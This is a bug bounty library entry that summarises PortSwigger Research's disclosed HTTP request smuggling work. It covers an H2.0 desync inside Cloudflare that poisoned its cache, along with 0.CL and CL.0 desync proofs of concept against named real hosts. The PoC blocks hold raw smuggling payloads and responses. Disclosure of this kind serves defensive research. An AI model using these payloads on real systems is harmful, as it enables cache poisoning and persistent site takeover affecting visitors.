# HTTP/1.1 must die: the desync endgame

H2.0 desync internal to Cloudflare's infrastructure let a malformed HTTP/2 request poison the shared cache, enabling persistent site takeover of 24M+ websites.

- Payout: $7,000
- Severity: critical
- Program: Cloudflare
- Write-up by: PortSwigger Research
- Disclosed: 2025-08-06
- CVE: CVE-2025-32094
- Write-up quality: 10/10
- Original: https://portswigger.net/research/http1-must-die
- Library page: https://bugbountylibrary.com/r/blog%3Aportswigger-net-research-http1-must-die
- Tags: area:web domain:web impact:ato impact:integrity kind:research platform:research sev:critical tech:cdn technique:chained technique:parser-differential vuln:cache-poisoning vuln:request-smuggling

**Target:** CDN front-end cache / HTTP/2-to-HTTP/1.1 downgrade proxy chain
**Root cause:** Cloudflare rewrites HTTP/2 requests to HTTP/1.1 internally and back to HTTP/2 upstream; a parser discrepancy in this chain lets a crafted request desync the connection so a smuggled prefix is prepended to the next user's request.
**Steps:**
1. Send `GET /assets/icon.png HTTP/2` with `Host: <redacted>` followed by a smuggled `GET /assets HTTP/1.1` with `Host: psres.net` and `X: y`
2. Observe the smuggled request is processed and a 302 redirect to `https://psres.net/assets/` is returned and cached (`Cf-Cache-Status: HIT`)
3. Note the attack is blocked by Cloudflare's front-end cache; adding a cache-buster makes it fail, removing it makes it work, confirming the desync is internal to Cloudflare
4. Poison the cache entry for a JavaScript file to persistently redirect all visitors
**How found:** Wannes Verwimp found an H2.0 desync redirecting visitors to his site; Kettle noticed the attack was blocked by Cloudflare's front-end cache and reasoned it couldn't work, added a cache-buster and it failed, removed it and it worked — revealing the desync was internal to Cloudflare's infrastructure rather than the origin.
**Exploitation:** Attacker sends a crafted HTTP/2 request that desyncs Cloudflare's internal HTTP/1.1 connection, causing a smuggled prefix to be prepended to the next victim's request. The resulting 302 redirect to the attacker's domain is stored in Cloudflare's cache, giving persistent control over the target site and hijacking random third-party sites including banks.
**Escalation:** Cache poisoning of a JS file turns a per-request desync into persistent site-wide takeover affecting 24,000,000+ websites.
**Insight:** When a desync PoC appears blocked by a cache, test with and without a cache-buster: if removing it makes the attack work, the desync is inside the CDN's own request-rewriting chain (H2->HTTP/1.1->H2), not the origin — a far higher-impact target.

## Proof of concept (copied exactly from the original report)

**H2.0 desync poisoning Cloudflare cache**

```
GET /assets/icon.png HTTP/2
Host: <redacted>

GET /assets HTTP/1.1
Host: psres.net
X: y
 HTTP/2 200 OK
Cf-Cache-Status: HIT
GET / HTTP/2
Host: <redacted>

HTTP/2 302 Found
Location: https://psres.net/assets/
```

**0.CL desync via /con early-response gadget**

```
GET /con HTTP/1.1
Host: <redacted>
Content-Length:
 7
HTTP/1.1 200 OK
GET / HTTP/1.1
Host: <redacted>

HTTP/1.1 400 Bad Request
```

**CL.0 desync via obfuscated Expect on Akamai**

```
OPTIONS /anything HTTP/1.1
Host: auth.lastpass.com
Expect:
 100-continue
Content-Length: 39

GET / HTTP/1.1
Host: www.sky.com
X: X
 HTTP/1.1 404 Not Found

GET /anything HTTP/1.1
Host: auth.lastpass.com

 HTTP/1.1 200 OK

Discover TV & Broadband Packages with Sky
```

